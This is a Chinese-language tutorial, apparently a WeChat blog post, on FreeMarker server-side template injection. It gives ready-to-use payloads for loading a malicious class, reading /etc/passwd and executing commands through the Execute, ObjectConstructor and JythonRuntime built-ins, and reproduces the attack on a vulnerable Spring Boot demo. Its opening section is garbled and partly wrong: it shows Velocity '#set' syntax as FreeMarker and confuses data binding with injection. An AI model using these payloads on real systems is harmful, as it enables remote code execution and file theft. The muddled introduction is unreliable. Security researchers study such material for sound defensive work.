Freemarker 是一種模闆引擎,它允許開發人員将模闆文本注入到動态資料中,進而生成動态頁面和其他文檔。Freemarker 支援多種文法和功能,包括條件語句、循環語句、函數、表達式等等。開發人員可以使用這些文法和功能來構模組化闆,并動态注入資料。
Freemarker 模闆引擎使用了一種稱為“模闆文本”的格式,這種格式可以包含變量、函數和其他文法。開發人員可以将模闆文本注入到動态資料中,并使用 Freemarker 的文法和功能來生成動态頁面和其他互動式 Web 應用程式。
模闆編寫為FreeMarker Template Language (FTL)。它是簡單的,專用的語言, 不是 像PHP那樣成熟的程式設計語言。那就意味着要準備資料在真實程式設計語言中來顯示,比如資料庫查詢和業務運算, 之後模闆顯示已經準備好的資料。在模闆中,你可以專注于如何展現資料, 而在模闆之外可以專注于要展示什麼資料。
模闆注入方式
Freemarker 模闆引擎支援多種注入方式,包括:
1.直接注入:直接注入模闆文本中的變量和資料,以生成動态頁面和其他互動式 Web 應用程式。這是最常見的注入方式,也是最簡單的注入方式。
2.模闆引用注入:使用模闆引用來注入模闆文本中的變量和資料,以生成動态頁面和其他互動式 Web 應用程式。這種方式可以在模闆中使用變量和資料,而不必将它們直接注入到模闆中。
3.資料綁定注入:使用資料綁定技術,将資料與模闆中的變量進行綁定,以生成動态頁面和其他互動式 Web 應用程式。這種方式可以将資料與模闆中的變量進行綁定,以便在模闆中使用這些資料。
模闆注入實作
在 Freemarker 中,模闆注入可以通過兩種方式實作:直接注入和模闆引用注入。
直接注入:
直接注入是将模闆文本中的變量和資料直接注入到模闆中,以生成動态頁面和其他互動式 Web 應用程式。在 Freemarker 中,可以使用“#”符号來注入變量和資料。例如,下面的代碼将模闆文本中的“$name”變量注入到模闆中:
Copy code
#set ($name = "John")
模闆引用注入:
模闆引用注入是将模闆文本中的變量和資料通過模闆引用注入到模闆中,以生成動态頁面和其他互動式 Web 應用程式。在 Freemarker 中,可以使用“#”符号和“!”符号來注入變量和資料。例如,下面的代碼将模闆文本中的“$name”變量注入到模闆中,同時使用模闆引用來注入資料:
Copy code
#set ($name = "John")
#set ($greeting = "Hello, $name!")
FTL 解析
這是官方的一個圖檔
意思是建立一個模闆檔案,ftl 裡面寫了一個變量
然後java 後端 使用setName方法給變量指派,Freemarker渲染,輸出變量内容
乍一看,很像html文法,但還是有些差別
文本:文本會照着原樣來輸出。
插值:這部分的輸出會被計算的值來替換。插值由 ${ and } 所分隔(或者 #{ and },這種風格已經不建議再使用了)。
FTL 标簽:FTL标簽和HTML标簽很相似,但是它們卻是給FreeMarker的訓示, 而且不會列印在輸出内容中。
注釋:注釋和HTML的注釋也很相似,但它們是由 <#-- 和 -->來分隔的。注釋會被FreeMarker直接忽略, 更不會在輸出内容中顯示。
上面的插值,可了解為變量
<html>
<head>
<title>Welcome!</title>
</head>
<body>
<h1>Welcome ${user}!</h1>
<p>Our latest product:
<a href="${latestProduct.url}">${latestProduct.name}</a>!
</body>
</html>
插值
FreeMarker的插值有如下兩種類型
1、通用插值:${expr}
2、數字格式化插值:#{expr}或者#{expr;format}
通用插值,有可以分為四種情況
a、插值結果為字元串值:直接輸出表達式結果
b、插值結果為數字值:根據預設格式(#setting 指令設定)将表達式結果轉換成文本輸出。可以使用内建的字元串函數格式單個插值,例如
<#setting number_format = "currency" />
<#assign price = 42 />
${price}
${price?string}
${price?string.number}
${price?string.currency}
${price?string.percent}
内置函數
Freemarker 有很多内置函數,具體可參考官網說明:http://freemarker.foofun.cn/ref_builtins.html
這裡講兩個和漏洞有關系的函數,api 和 new。
api内置函數
api内建函數并不能随意使用,必須在配置項api_builtin_enabled為true時才有效,而該配置在2.3.22版本之後預設為false
如果value本身支援這個額外的特性, value?api 提供通路 value 的API (通常是 Java API),比如 value?api.someJavaMethod()
常見的兩種利用方式:
1、通過内建函數api擷取類的classloader然後加載惡意類
2、通過Class.getResource的傳回值來通路URI對象。URI對象包含toURL和create方法,通過這兩個方法建立任意URI,然後用toURL通路任意URL。
加載惡意類的 Payload 如下:
<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}
任意檔案讀取的 Payload 如下:
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
new内置函數
new 函數可以建立一個繼承自 freemarker.template.TemplateModel 類的變量,利用這一點能達到執行任意代碼的目的。
方法一:
freemarker.template.utility 裡有個 Execute 類,有一個exec方法,然後會調用 Runtime.getRuntime().exec()函數執行它的 aExecute 變量參數值,是以這裡可以使用 new 函數傳輸想要執行的指令作為 aExecute 參數值,進而執行指令。
freemarker.template.utility.Execute 部分檔案代碼如下:
構造 payload 如下:
<#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}
方法二:
freemarker.template.utility 裡有個 ObjectConstructor 類,這個類會把它的參數作為名稱構造一個執行個體化對象。
是以也可以利用這一點構造一個可執行指令的對象,進而 RCE
構造 payload 如下:
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","open","-a","Calculator").start()}
方法三:
freemarker.template.utility 裡有個 JythonRuntime 類,這裡可以通過自定義标簽的方式執行 Python 指令,進而構造遠端指令執行。
Payload:
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("open -a Calculator")
漏洞複現
https://github.com/pawelkaliniakit/springboot-freemarker-ssti
通路hello
通路template接口
Payload1:
{"hello.ftl":"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"open -a calculator\")}</head><body></body></html>"}
然後重新通路hello接口,觸發指令。
Payload2:
{"hello.ftl":"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><#assign value=\"freemarker.template.utility.ObjectConstructor\"?new()>${value(\"java.lang.ProcessBuilder\",\"open\",\"-a\",\"Calculator\").start()}</head><body></body></html>"}
payload3:
{"hello.ftl":"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><#assign value=\"freemarker.template.utility.JythonRuntime\"?new()><@value>import os;os.system(\"open -a calculator\")</@value></head><body></body></html>"}
報錯,添加jython依賴,報錯内容更多,難不成版本問題
于是更改 jython 為 jython-standalone
<dependency>
<groupId>org.python</groupId>
<artifactId>jython-standalone</artifactId>
<version>2.7.0</version>
</dependency>
成功執行
作者:private null
來源-微信公衆号:軒公子談技術
出處:https://mp.weixin.qq.com/s/PMfM7lCkJya9zqygr5LNkQ